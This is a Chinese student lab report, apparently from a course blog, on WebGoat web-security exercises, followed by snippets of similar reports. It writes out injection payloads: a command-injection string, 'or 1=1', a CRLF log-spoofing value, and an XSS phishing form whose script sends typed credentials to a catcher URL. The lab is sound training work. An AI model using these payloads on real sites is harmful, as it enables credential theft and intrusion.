2018-2019-2 网络对抗技术 20165216 Exp9 Web安全基础

2018-2019-2 网络对抗技术 20165216 Exp9 Web安全基础

1.1.实验内容概述

本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。Webgoat实践下相关实验。

1.2.实验环境

  • Kali Linux - 64bit(IP为192.168.43.145)
  • Win10-64bits
  • 360浏览器

1.3.基础问题回答

(1)SQL注入攻击原理,如何防御?

原理:SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是,在输入字符串中嵌入SQL指令,在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认作正常SQL指令后正常执行,可能实现对后台数据库进行各种操作,甚至造成破坏后台数据库等严重后果。
防御:
  • 对输入的字符串进行判断,筛除含有特殊字符的字符串
  • 避免出现一些详细的错误消息被攻击者利用
  • 将数据库里的内容进行加密处理使其不具有特殊的意义

(2)XSS攻击的原理,如何防御?

原理:在网站任何接受正常文本输入的地方,输入Javascript脚本,并让脚本执行
  • 表单提交的时候进行特殊字符的检测
  • 消除网站的XSS漏洞,网站开发者运用转义安全字符手段

(3)CSRF攻击原理,如何防御?

原理:一种对网站的恶意利用也就是人们所知道的钓鱼网站,尽管听起来像跨站脚本(XSS),但XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
防御:
  • 对于每一个重要的post提交页面,都使用一个验证码
  • 每一个网页包含一个web server产生的token, 提交时,也将该token提交到服务器,服务器进行判断,如果token不对,就判定为CSRF攻击
  • 定期清理cookie,甚至不使用cookie

实践过程

2.1Webgoat安装

WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookie、SQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

  • 下载webgoat-container-7.0.1-war-exec.jar文件
  • 确定JDK版本 使用 java -version命令
  • 下载完成后进入相应目录执行命令java -jar webgoat-container-7.0.1-war-exec.jar
  • 看到如下图所示信息表示开启成功
  • 根据kali IP在Win10系统中输入http://localhost:8080/WebGoat

如KALI IP为192.168.43.145,则地址为http://192.168.43.145:8080/WebGoat

  • 进入后下列有2个默认用户,我们随便选择一个登入
  • 在右上角管理拓展中选中翻译
  • 翻译结果如下

2.2SQL注入

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作。如通过在用户名、密码登输入框中输入一些‘,--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。

2.2.1SQL命令注入

  • 我们进入 注射缺陷-命令注入,正常视图为这个
  • 我们对课程计划进行审查元素并插入 "& netstat -an & ipconfig" 试图进行 netstat -an 以及 ipconfig命令的注入
  • 结果显示确实执行了这2个命令

2.2.2数字SQL注入

  • 我们对正常的气象数据走一遍,如下:
  • 正常图中我们可以看到哥伦比亚的气象情况,我们可以看到它对应的站位为101
  • 同样对气象站进行审查元素操作
  • 对value=101的条件中添加or 1=1
  • 攻击就成功了,如图

2.2.3记录欺骗

  • 您的目标是使其成为用户名“admin”成功登录。
  • 通过向日志文件添加脚本来提升攻击。
  • 对于账号我们输入:webgoat%0d%0aLogin Succeeded for username: admin,密码随意,攻击就成功了

    • webgoat是随意的,是结果第一行正常日志的登入失败账户,如果我们把webgoat改为20165216,则第一行的日志信息就为:Login failed for username:20165216
    • %0d为回车,要不然两条日志就在同一行了,不好骗

2.3XSS攻击

全称为跨站脚本攻击,是一种网站应用程序的安全漏洞攻击。攻击者通过往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。

2.31使用XSS进行网络钓鱼

完成本次实验需要搜索框能够支持插入html,并能执行javascript的脚本,大概流程如下:

  • 插入账号密码输入框的html
  • 将用户点击提交submit执行脚本语言,将内容提交给http:// localhost:8080 / WebGoat / catcher?PROPERTY = yes ...
  • 代码如下:
<script>
function hack()
{
  alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
  XSSImage=new Image;
  XSSImage.src="http://192.168.43.145:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>

注意:需要修改相应的IP地址

  • 成功后的截图如下:

2.32存储的XSS攻击

将脚本代码等当做普通文本存储,用户读取时执行

  • 比如我们在一个贴吧发布一个freeQB,弹出时是一个登陆信息的
<script>
function hack()
{
  alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value);
  XSSImage=new Image;
  XSSImage.src="http://192.168.43.145:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + "";
}
</script>
<form>
<br><br><HR><H3>This feature requires account login:</H3 ><br><br>
Enter Username:<br><input type="text" id="user" name="user"><br>
Enter Password:<br><input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()">
</form><br><br><HR>

emmm,其实就是上个代码,没想到吧

  • 我们点击免费QB!,进去输入账户密码就完蛋了

2.3.3反映的XSS攻击

验证服务器端的所有输入始终是一个好习惯。在HTTP响应中使用未经验证的用户输入时,可能会发生XSS。在反映的XSS攻击中,攻击者可以使用攻击脚本制作URL并将其发布到其他网站,通过电子邮件发送或以其他方式让受害者点击它。

  • 在三位数访问码中输入即可成功.

2.4Cross Site Request Forgery (CSRF):跨站请求伪造攻击实践

跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。

  • 在信息框中输入

实验总结与体会

实验更好的认识到了XSS攻击、SQL注入以及CSRF,如果只是跟着走的话是比较枯燥的,重要的在于理解,比如插入命令只能插 &netstat -an & ipconfig吗,记录欺骗webgoat%0d%0aLogin Succeeded for username: admin,webgoat,以及后面的字可以改吗,这都是非常显而易见的问题。更多的思考,才能够加深理解,这非常重要(首先你不理解你就验收不了,嘿嘿)。

原文地址:https://www.cnblogs.com/qq2497879550/p/10926516.html

时间: 2024-10-07 16:27:37

2018-2019-2 网络对抗技术 20165216 Exp9 Web安全基础的相关文章

2018-2019-2 网络对抗技术 20165228 Exp9 Web安全基础实践

2018-2019-2 网络对抗技术 20165228 Exp9 Web安全基础实践 回答问题 (1)SQL注入攻击原理,如何防御 原理:通过在用户名.密码登输入框中输入特殊字符,在处理字符串与sql语句拼接过程中实现引号闭合.注释部分SQL语句,利用永真式,从而达到登录.显示信息等目的. 防御:对输入进行限制,包括输入长度和特殊字符的类型等 (2)XSS攻击的原理,如何防御 原理:XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码(如,HTML代码和客户端脚本)植入

2018-2019-2 20165221 【网络对抗技术】-- Exp9 Web安全基础

2018-2019-2 20165221 [网络对抗技术]-- Exp9 Web安全基础 目录: 一 . 实验要求 二 . 实验过程记录 1 . Webgoat安装 2 . SQL注入的攻击 命令注入(Command Injection) 数字型注入(Numeric SQL Injection) 日志欺骗(Log Spoofing) SQL 注入(LAB: SQL Injection) 字符串注入(String SQL Injection) 数据库后门(Database Backdoors) 数

2018-2019-2 网络对抗技术 20165225 Exp9 Web安全基础

2018-2019-2 网络对抗技术 20165225 Exp9 Web安全基础 实践内容 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,CSRF).Webgoat实践下相关实验. 报告内容 WebGoat WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来说明web应用中存在的安全漏洞.WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有很多,包含了XSS.线程安全.SQL注入.访问控制.隐藏字段.C

2018-2019 2 20165203 《网络对抗技术》Exp9 Web安全基础

2018-2019 2 20165203 <网络对抗技术>Exp9 Web安全基础 实验要求 本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分.包括(SQL,XSS,CSRF).Webgoat实践下相关实验. 基础知识问答 (1)SQL注入攻击原理,如何防御 SQL注入的原理:就是通过构建特殊的参数传入web应用程序,而这些输入大多都是SQL语句语法里的组合,通过这些组合构造出某些特殊的含义,从而达到攻击者的攻击目的,例如在用户名和密码框中输入某些像''.--,#等特殊

2018-2019-2 20165204《网络对抗技术》 Exp9 Web安全基础

2018-2019-2 20165204<网络对抗技术> Exp9 Web安全基础 实践内容 SQL注入攻击 命令注入(Command Injection) 数字型SQL注入(Numeric SQL Injection) 日志欺骗(Log Spoofing) 字符串型注入(String SQL Injection) LAB: SQL Injection 数据库后门(Database Backdoors) XSS攻击 Phishing with XSS Stored XSS Attacks Re

2018-2019-2 20165212《网络对抗技术》Exp9 Web安全基础

2018-2019-2 20165212<网络对抗技术>Exp9 Web安全基础 基础问题回答 1.SQL注入攻击原理,如何防御? 原理:SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令. sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因.如:在用户名.密码登输入框中输入一些',--,#等特殊字符

2018-2019-2 20165219《网络对抗技术》Exp9 Web安全基础

2018-2019-2 20165219<网络对抗技术>Exp9 Web安全基础 一 实验内容 WebGoat配置 进入https://github.com/WebGoat/WebGoat/releases?after=8.0.0网站 下载 webgoat-container-7.0.1-war-exec.jar 输入java -jar webgoat-container-7.0.1-war-exec.jar安装jar包 览器登陆http://localhost:8080/WebGoat网站

20164317《网络对抗技术》Exp9 Web安全基础

Exp9 Web安全基础 一.实践目标 理解常用网络攻击技术的基本原理. 在Webgoat,实践相关实验. SQL注入攻击 XSS攻击 CSRF攻击 二.实践过程 1.环境配置: 下好jar包然后放在根目录下 使用:java -jar *.jar就可以解压运行webgoat了! 2.使用webgoat: 打开Firefox,输入http://127.0.0.1:8080/WebGoat/login.mvc访问webgoat SQL注入攻击: Numeric SQL Injection: 要求注入

2018-2019-2 20165234 《网络对抗技术》 Exp9 Web安全基础

Exp9 Web安全基础 一. 实践内容 1. 安装JDK.Webgoat 2. SQL注入攻击 数字型注入(Numeric SQL Injection) 日志欺骗(Log Spoofing) 字符串注入(String SQL Injection) LAB: SQL Injection 之 Stage 1: 字符串型注入(Stage 1: String SQL Injection) 3. XSS攻击 使用 XSS 钓鱼(Phishing with XSS) 存储型XSS攻击(Stored XSS